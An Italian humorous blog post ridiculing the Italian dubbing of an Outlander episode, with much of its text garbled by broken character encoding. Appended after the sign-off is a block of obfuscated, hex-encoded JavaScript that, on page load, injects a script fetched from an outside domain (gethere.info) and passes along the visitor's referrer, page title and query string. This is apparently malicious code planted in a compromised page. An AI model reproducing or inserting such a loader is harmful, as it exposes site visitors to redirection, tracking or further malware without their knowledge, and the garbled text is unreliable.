Le lamentele di una Sassenach: Una serie di sfortunati eventi

Decima tortura – Una serie di sfortunati eventi

Ammetto che oggi non mi sento particolarmente in forma; che siano i trenta grandi praticamente estivi che si fiondano sulla Sardegna settentrionale oppure la mole di studio, mi sento di criticare questa puntata fin dall’inizio. E sappiate che ho iniziato a scrivere senza neanche aver guardato la puntata.

Una serie di sfortunati eventi. Vi ricorda nulla questo titolo? Un certa persona per metA� limone e per metA� snack? Tre ragazzi, fratelli, dotati di sorprendenti capacitA�? Che sia stato copiato questo titolo – storpiando completamente quello inglese – per la straordinaria capacitA� delle nostre tre donne?

Liiri: rompere le balle, farsi odiare, zoccoleggiare, rompere le balle, farsi odiare, zoccoleggiare… la lista, per quanto monotona, sembra essere infinita.

Cler: finire nei casini, venir salvata da Geimi, finire nei casini, venir salvata da Geimi…

Ghilis: farsi i fatti altrui, sedurre persone ricche, prendere soldi, stregoneggiare…

Il tutto ancora di piA? rispetto all’inglese. (Claire, lo sai che ti adoro).

Comunque, tutte queste cose, a quanto pare, portano ad una serie di sfortunati eventi.

1

Dopo questa non bellissima locandina, “finalmente” inizia la puntata, quindi…

Stavolta non pare abbiano doppiato i gemiti di Claire, ma c’A? anche da dire che sono anche giusti. Sono dovuti. PerA? Gemi, potresti anche aprire la porta e… svegliarti. Pigrone. Beh, perdonate Merdagh, non era colpa sua. GIMI, non puoi fare affidamento sul Duca, no.

Ehm, con quella voce… mio caro GIMI, in questo modo ciA? che ti spetta A? solo un colpo definitivo in testa. Altro che grazia.

Ma Cler arriva da Liiri e… Mrs Fitz, levati dalle palle che devono parlare! Lei e LERI!

“Ditemi pure quello che avete da dire, ho delle faccende da sbrigare”

ovvero mostrare le tette a tuo marito.

“Gemi Freser era ed A? ancora mio”

l’ha comprato all’IKEA? Non l’hanno rimborsata, povera.A� Ma… CIAFF! In inglese mi sembrava appena appena molto piA? schiaffoso, sbaglio? Vi prego, ripetete quella scena alla��infinito!

2

Oh ragazze/i ma Mr. Duncan non vi sembra Pumba? Guardate bene, potete quasi veder la nuvoletta verde… ma non ca��A? Timon che lo blocca, purtroppo.

Changeling. Una parola che descrive un qualcosa della mitologia celtica. Molto meglio trasformarlo in un banalissimo bambino scambiato, utilizzando un giro di parole lunghissimo. Come definire l’idra un enorme serpente con tantissime teste che ricrescono quando si tagliano. Un bambino scambiato.

Sassone. Mi dispiace mie care amiche e miei cari amici ma, arrivati alla decima puntata ancora il nostro amato “Sassenach” non arriverA� mai, non lo sentiremo mai nella versione italiana. Quindi arrendiamoci all’evidenza e sventoliamo bandiera bianca, assieme ai figli scambiati. Mi dispiace, le mie piA? sentite condoglianze. Siamo con Giac, il topino di Cenerentola, che deve sfidare Lucifero.

3

Ommioddio, vi prego, ridatemi la voce orrendamente perfetta del Duca di Sandringham.A� a�?Aforismi su ciA? che A? piA? prezioso e piA? acutoa�?, non ha tempo il tempo per considerare queste a�?diffamatorie e infondate falsitA�a�?. Bellissima frase inserita nel suo libro. Che ci sia la Fox dietro il duca di Sandringham? Se fosse realmente cosA�?! E che la minaccia del collo da cigno e della divisione della testa e del collo fosse una minaccia implicita nei miei confronti? Mhm, mi sa che mi salvo dato che non ho affatto un collo da cigno.

Alla fine sembra che il sortilegio di Ghillis abbia fatto effetto e Moura muore. Il a�?poveroa�? Dugal esce fuori di testa ma si riesce a trovare un rimedio e Angus brinda a Moura. a�?To the fair Maura!a�? che tradotto sarebbe a�?Alla bella Maura!a�? e a�?Not even a blind man would think she was bonniea�? ovvero a�?nemmeno un cieco avrebbe pensato fosse bellaa�?a�� beh, siori e siore, nella versione italiana diventa a�?Brindiamo a lei!a�? e a�?nemmeno il piA? cieco fra gli uomini la��avrebbe bramataa�?. Ci starebbe se subito dopo non ci fosse la��espressione di Angus che dice palesemente a�?ho fatto una figura di merdaa�?. PerchA� la��ha fatta.

4

Geimi, davvero vuoi che il Duca ti copra le spalle? Ea�� proprio questo ciA? che vuoi? Davvero? Ne sei proprio sicuro? Ricordati che incarni la sublime combinazione di bellezza e belligeranzaa�� guarda come ti carezza il mento.

Ora, carissimi della Foxa�� a�?Quid pro quoa�? A? conosciuto in tutto il mondo, credo. Ea�� giA� latino. Che bisogno ca��A? di tradurlo in a�?Do ut desa�?, oltretutto facendolo male?

E sarA� irrilevante ma, traducono tutto, soprattutto quello che non devono e a�?Gentlemana�?, che potrebbero tranquillamente tradurlo, lo lasciano cosA� come A?.

5

Anche Arthur Duncan vi fa la��applauso prima di morire.

Facciamo un altro applauso anche per Dugal che, soddisfatto, informa Collum che Ghillis A? incinta di suo figlio. Beh, sembra che glielo stia per fare suo fratello il meritato applauso con tanto di a�?Braaaaaavoa�� non si fanno perA? queste cose, brutto monellaccio!a�?.

Questi sono tempi difficili, MO NIGHEAN DONN

ah noa�� scusate.

Questi sono tempi difficili, mia bella bruna

Tranquillo, Dugal. Lo mangiamo noi, Geimi dopo averlo sgozzato, squartato e fatto a fettine. Neanche perdiamo tempo a cucinarlo. Prima un bella�� a�?Amore mioa�?, poi a�?Mia bella brunaa�?. Nagini, altro spuntino per te.

Thammas, potevi dircelo che avresti avuto quella voce. Avremmo impedito a Cler di darti la belladonna e di salvarti dal a�?giglio della vallea�?!

In conclusione, giusto perchA� non abbiamo parlato molto di leia�� Liiri, sei una grandissima tra�� antipatica!

Stavolta non hanno fatto molto, ma quel poco la��hanno comunque rovinato in malo modo quindi ci conviene semplicemente imitare Dougal, e berci su.

6

Pensate al lato positivo che in inglese diventa negativo: solo altre SEI puntate di questa tortura, con la speranza che nella seconda serie migliorino un minimo. Da��altronde lo dice anche Geimi che questi sono tempi difficili.

DINNA FASH YERSELF AGUS SLAINTE MHATH.

var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}